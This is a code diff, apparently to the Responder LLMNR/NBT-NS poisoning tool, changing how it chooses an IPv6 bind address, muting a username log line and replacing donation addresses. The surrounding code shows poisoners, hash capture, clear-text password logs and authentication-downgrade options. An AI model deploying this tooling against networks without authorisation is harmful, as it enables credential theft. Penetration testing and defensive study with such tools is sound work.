print('[Config] Invalid KerberosMode: %s, defaulting to CAPTURE' % self.KerberosMode)
self.KerberosMode = 'CAPTURE'
except:
# Default to CAPTURE mode if not specified (backward compatible)
self.KerberosMode = 'CAPTURE'
self.Os_version = sys.platform
self.FTPLog = os.path.join(self.LogDir, 'FTP-Clear-Text-Password-%s.txt')

145
utils.py
View File

@@ -237,38 +237,117 @@ def Probe_IPv6_socket():
return True
except:
return False
def IsLinkLocal(ip):
"""
Check if an IPv6 address is link-local (fe80::/10).
Link-local addresses are in the range fe80:: to febf::
"""
if ip is None:
return False
ip_lower = ip.lower()
# fe80::/10 means first 10 bits are 1111111010
# This covers fe80:: through febf::
return ip_lower.startswith('fe8') or ip_lower.startswith('fe9') or \
ip_lower.startswith('fea') or ip_lower.startswith('feb')
def GetLinkLocalIP6(Iface):
"""
Get the link-local IPv6 address for a specific interface.
Args:
Iface: Interface name (e.g., 'eth0')
Returns:
Link-local IPv6 address string, or None if not found
"""
try:
addrs = netifaces.ifaddresses(Iface)
if netifaces.AF_INET6 not in addrs:
return None
# Search through all IPv6 addresses for a link-local one
for addr_info in addrs[netifaces.AF_INET6]:
addr = addr_info.get("addr", "")
# Remove interface suffix (e.g., "fe80::1%eth0" -> "fe80::1")
clean_addr = addr.split('%')[0]
if IsLinkLocal(clean_addr):
return clean_addr
return None
except (KeyError, IndexError, ValueError):
return None
def FindLocalIP6(Iface, OURIP):
if Iface == 'ALL':
return '::'
"""
Find the IPv6 address to bind Responder's servers to.
FIXED LOGIC (prioritizes link-local):
1. If user provided explicit IPv6 via -6 option, use that
2. If interface is 'ALL', return '::' (bind to all interfaces)
3. Try to get link-local address (fe80::) - THIS WORKS ON LOCAL NETWORKS
4. Fallback to global IPv6 only if link-local not available
5. Last resort: ::1 with warning
Args:
Iface: Network interface name ('eth0') or 'ALL' for wildcard
OURIP: User-provided IPv6 via -6 option, or None
Returns:
IPv6 address string to bind to
"""
# Handle wildcard interface
if Iface == 'ALL':
return '::'
try:
# PRIORITY 1: If user explicitly provided an IPv6 address with -6, use it
# This preserves the original behavior for users who specify -6
if IsIPv6IP(OURIP):
return OURIP
# PRIORITY 2: Get link-local address (fe80::)
# This is the FIX - link-local is ALWAYS reachable on local segment
link_local = GetLinkLocalIP6(Iface)
if link_local:
return link_local
# PRIORITY 3: Fallback to global IPv6 via socket trick
# Only used if no link-local available (rare on properly configured systems)
try:
# Connect to random IPv6 to determine source address
randIP = "2001:" + ":".join(("%x" % random.randint(0, 16**4) for i in range(7)))
s = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM)
s.connect((randIP, 80))
IP = s.getsockname()[0]
s.close()
if IP and IP != '::1':
# Warn the user this might not work
print(color('[!] Warning: No link-local IPv6 found, using global %s' % IP, 1, 1))
print(color('[!] This address may not be reachable on local network!', 1, 1))
return IP
except:
pass
# PRIORITY 4: Try to get any IPv6 from the interface
try:
IP = str(netifaces.ifaddresses(Iface)[netifaces.AF_INET6][0]["addr"].replace("%"+Iface, ""))
return IP
except:
pass
# No IPv6 available at all
print("[+] You don't have an IPv6 address assigned on %s." % Iface)
return '::1'
except socket.error:
print(color("[!] Error: %s: Interface not found" % Iface, 1))
sys.exit(-1)
try:
if IsIPv6IP(OURIP) == False:
try:
#Let's make it random so we don't get spotted easily.
randIP = "2001:" + ":".join(("%x" % random.randint(0, 16**4) for i in range(7)))
s = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM)
s.connect((randIP+':80', 1))
IP = s.getsockname()[0]
return IP
except:
try:
#Try harder; Let's get the local link addr
IP = str(netifaces.ifaddresses(Iface)[netifaces.AF_INET6][0]["addr"].replace("%"+Iface, ""))
return IP
except:
IP = '::1'
print("[+] You don't have an IPv6 address assigned.")
return IP
else:
return OURIP
except socket.error:
print(color("[!] Error: %s: Interface not found" % Iface, 1))
sys.exit(-1)
# Function used to write captured hashs to a file.
def WriteData(outfile, data, user):
@@ -336,8 +415,9 @@ def SaveToDb(result):
result[k] = ''
result['client'] = result['client'].replace("::ffff:","")
if len(result['user']) < 2:
print(color('[*] Skipping one character username: %s' % result['user'], 3, 1))
text("[*] Skipping one character username: %s" % result['user'])
#Generate to much output for nothing..
#print(color('[*] Skipping one character username: %s' % result['user'], 3, 1))
#text("[*] Skipping one character username: %s" % result['user'])
return
cursor = sqlite3.connect(settings.Config.DatabaseFile)
@@ -492,7 +572,7 @@ def StartupMessage():
enabled = color('[ON]', 2, 1)
disabled = color('[OFF]', 1, 1)
print('')
print(color("[*] ", 2, 1) + 'Sponsor this project: [USDT: TNS8ZhdkeiMCT6BpXnj4qPfWo3HpoACJwv] , [BTC: 15X984Qco6bUxaxiR8AmTnQQ5v1LJ2zpNo]\n')
print(color("[*] ", 2, 1) + 'Tips jar:\n USDT -> 0xCc98c1D3b8cd9b717b5257827102940e4E17A19A\n BTC -> bc1q9360jedhhmps5vpl3u05vyg4jryrl52dmazz49\n')
print(color("[+] ", 2, 1) + "Poisoners:")
print(' %-27s' % "LLMNR" + (enabled if (settings.Config.AnalyzeMode == False and settings.Config.LLMNR_On_Off) else disabled))
print(' %-27s' % "NBT-NS" + (enabled if (settings.Config.AnalyzeMode == False and settings.Config.NBTNS_On_Off) else disabled))
@@ -538,7 +618,6 @@ def StartupMessage():
print(' %-27s' % "Force LM downgrade" + (enabled if settings.Config.LM_On_Off == True else disabled))
print(' %-27s' % "Force ESS downgrade" + (enabled if settings.Config.NOESS_On_Off == True or settings.Config.LM_On_Off == True else disabled))
print('')
print(color("[+] ", 2, 1) + "Generic Options:")
print(' %-27s' % "Responder NIC" + color('[%s]' % settings.Config.Interface, 5, 1))
print(' %-27s' % "Responder IP" + color('[%s]' % settings.Config.Bind_To, 5, 1))